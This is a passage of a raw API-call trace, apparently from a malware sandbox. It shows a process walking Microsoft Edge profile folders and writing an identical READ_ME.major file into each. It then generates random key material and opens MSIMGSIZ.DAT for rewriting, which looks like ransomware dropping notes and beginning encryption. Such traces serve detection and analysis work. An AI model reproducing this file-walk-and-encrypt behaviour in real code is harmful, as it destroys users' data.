cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668818 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668d28 | out: hHeap=0x570000) returned 1 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656c90 | out: hHeap=0x570000) returned 1 [0244.019] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcc74e357, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f311e0 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665598 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0244.019] GetLastError () returned 0x12 [0244.019] SetLastError (dwErrCode=0x12) [0244.019] GetLastError () returned 0x12 [0244.019] SetLastError (dwErrCode=0x12) [0244.019] GetLastError () returned 0x12 [0244.019] SetLastError (dwErrCode=0x12) [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6938 [0244.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f313a0 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f313a0 | out: hHeap=0x570000) returned 1 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6938 | out: hHeap=0x570000) returned 1 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0244.020] FindNextFileW (in: hFindFile=0x2f311e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcc74e357, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665598 | out: hHeap=0x570000) returned 1 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0244.020] GetLastError () returned 0x12 [0244.020] SetLastError (dwErrCode=0x12) [0244.020] GetLastError () returned 0x12 [0244.020] SetLastError (dwErrCode=0x12) [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6649e0 | out: hHeap=0x570000) returned 1 [0244.020] GetLastError () returned 0x12 [0244.020] SetLastError (dwErrCode=0x12) [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67a8 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f31820 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f31820 | out: hHeap=0x570000) returned 1 [0244.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0244.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67a8 | out: hHeap=0x570000) returned 1 [0244.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0244.021] FindNextFileW (in: hFindFile=0x2f311e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc3d7b1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc3d7b1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.021] SetLastError (dwErrCode=0x12) [0244.021] GetLastError () returned 0x12 [0244.021] SetLastError (dwErrCode=0x12) [0244.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0244.021] SetLastError (dwErrCode=0x12) [0244.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee69d8 [0244.021] FindNextFileW (in: hFindFile=0x2f311e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc3d7b1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc3d7b1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668ed8 [0244.021] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31320 [0244.022] SetLastError (dwErrCode=0x12) [0244.022] GetLastError () returned 0x12 [0244.022] SetLastError (dwErrCode=0x12) [0244.022] GetLastError () returned 0x12 [0244.022] SetLastError (dwErrCode=0x12) [0244.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be2c0 [0244.022] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] GetLastError () returned 0x12 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] GetLastError () returned 0x12 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0244.023] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdd27f87, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0xfdd27f87, ftLastWriteTime.dwHighDateTime=0x1d39f5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cache", cAlternateFileName="")) returned 1 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] GetLastError () returned 0x12 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] GetLastError () returned 0x12 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668c50 [0244.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0244.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668158 [0244.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] GetLastError () returned 0x12 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] GetLastError () returned 0x12 [0244.023] SetLastError (dwErrCode=0x12) [0244.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0244.024] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.025] WriteFile (in: hFile=0x1a88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.025] CloseHandle (hObject=0x1a88) returned 1 [0244.026] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33b04a57, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x33b70a8f, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cookies", cAlternateFileName="")) returned 1 [0244.026] SetLastError (dwErrCode=0x0) [0244.026] GetLastError () returned 0x0 [0244.026] SetLastError (dwErrCode=0x0) [0244.026] GetLastError () returned 0x0 [0244.026] SetLastError (dwErrCode=0x0) [0244.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663468 [0244.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67a8 [0244.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662d28 [0244.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0244.026] SetLastError (dwErrCode=0x0) [0244.026] GetLastError () returned 0x0 [0244.026] SetLastError (dwErrCode=0x0) [0244.026] GetLastError () returned 0x0 [0244.026] SetLastError (dwErrCode=0x0) [0244.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6591f8 [0244.026] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.028] WriteFile (in: hFile=0x1a88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.029] CloseHandle (hObject=0x1a88) returned 1 [0244.029] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1e5c710a, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x1e5c710a, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="History", cAlternateFileName="")) returned 1 [0244.029] SetLastError (dwErrCode=0x0) [0244.029] GetLastError () returned 0x0 [0244.029] SetLastError (dwErrCode=0x0) [0244.029] GetLastError () returned 0x0 [0244.030] SetLastError (dwErrCode=0x0) [0244.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662a70 [0244.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6820 [0244.030] SetLastError (dwErrCode=0x0) [0244.030] GetLastError () returned 0x0 [0244.030] SetLastError (dwErrCode=0x0) [0244.030] GetLastError () returned 0x0 [0244.030] SetLastError (dwErrCode=0x0) [0244.030] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\History\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\history\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.031] WriteFile (in: hFile=0x1a88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.031] CloseHandle (hObject=0x1a88) returned 1 [0244.031] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IECompatCache", cAlternateFileName="IECOMP~1")) returned 1 [0244.032] SetLastError (dwErrCode=0x0) [0244.032] GetLastError () returned 0x0 [0244.032] SetLastError (dwErrCode=0x0) [0244.032] GetLastError () returned 0x0 [0244.032] SetLastError (dwErrCode=0x0) [0244.032] SetLastError (dwErrCode=0x0) [0244.032] GetLastError () returned 0x0 [0244.032] SetLastError (dwErrCode=0x0) [0244.032] GetLastError () returned 0x0 [0244.032] SetLastError (dwErrCode=0x0) [0244.032] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.033] WriteFile (in: hFile=0x1a88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.034] CloseHandle (hObject=0x1a88) returned 1 [0244.034] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12e9247e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e9247e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e9247e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IECompatUaCache", cAlternateFileName="IECOMP~2")) returned 1 [0244.034] SetLastError (dwErrCode=0x0) [0244.034] GetLastError () returned 0x0 [0244.034] SetLastError (dwErrCode=0x0) [0244.034] GetLastError () returned 0x0 [0244.034] SetLastError (dwErrCode=0x0) [0244.034] SetLastError (dwErrCode=0x0) [0244.034] GetLastError () returned 0x0 [0244.034] SetLastError (dwErrCode=0x0) [0244.034] GetLastError () returned 0x0 [0244.034] SetLastError (dwErrCode=0x0) [0244.034] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatuacache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.036] WriteFile (in: hFile=0x1a88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.037] CloseHandle (hObject=0x1a88) returned 1 [0244.037] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcd7afa00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IEFlipAheadCache", cAlternateFileName="IEFLIP~1")) returned 1 [0244.037] SetLastError (dwErrCode=0x0) [0244.037] GetLastError () returned 0x0 [0244.037] SetLastError (dwErrCode=0x0) [0244.037] GetLastError () returned 0x0 [0244.037] SetLastError (dwErrCode=0x0) [0244.037] SetLastError (dwErrCode=0x0) [0244.037] GetLastError () returned 0x0 [0244.037] SetLastError (dwErrCode=0x0) [0244.037] GetLastError () returned 0x0 [0244.037] SetLastError (dwErrCode=0x0) [0244.037] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\ieflipaheadcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.038] WriteFile (in: hFile=0x1a88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.039] CloseHandle (hObject=0x1a88) returned 1 [0244.039] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2dfea05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd2dfea05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd2dfea05, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xbfe0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0244.039] SetLastError (dwErrCode=0x0) [0244.039] GetLastError () returned 0x0 [0244.039] SetLastError (dwErrCode=0x0) [0244.039] GetLastError () returned 0x0 [0244.039] SetLastError (dwErrCode=0x0) [0244.039] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc3d7b1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc3d7b1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.039] SetLastError (dwErrCode=0x0) [0244.039] GetLastError () returned 0x0 [0244.039] SetLastError (dwErrCode=0x0) [0244.039] GetLastError () returned 0x0 [0244.039] SetLastError (dwErrCode=0x0) [0244.039] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12f7729b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="User", cAlternateFileName="")) returned 1 [0244.040] SetLastError (dwErrCode=0x0) [0244.040] GetLastError () returned 0x0 [0244.040] SetLastError (dwErrCode=0x0) [0244.040] GetLastError () returned 0x0 [0244.040] SetLastError (dwErrCode=0x0) [0244.040] SetLastError (dwErrCode=0x0) [0244.040] GetLastError () returned 0x0 [0244.040] SetLastError (dwErrCode=0x0) [0244.040] GetLastError () returned 0x0 [0244.040] SetLastError (dwErrCode=0x0) [0244.040] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.041] WriteFile (in: hFile=0x1a88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.041] CloseHandle (hObject=0x1a88) returned 1 [0244.041] FindNextFileW (in: hFindFile=0x2f31320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12f7729b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="User", cAlternateFileName="")) returned 0 [0244.041] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.041] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1 [0244.042] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a88 [0244.043] GetFileSizeEx (in: hFile=0x1a88, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=49120) returned 1 [0244.043] ReadFile (in: hFile=0x1a88, lpBuffer=0x33f5018, nNumberOfBytesToRead=0xbfe0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, 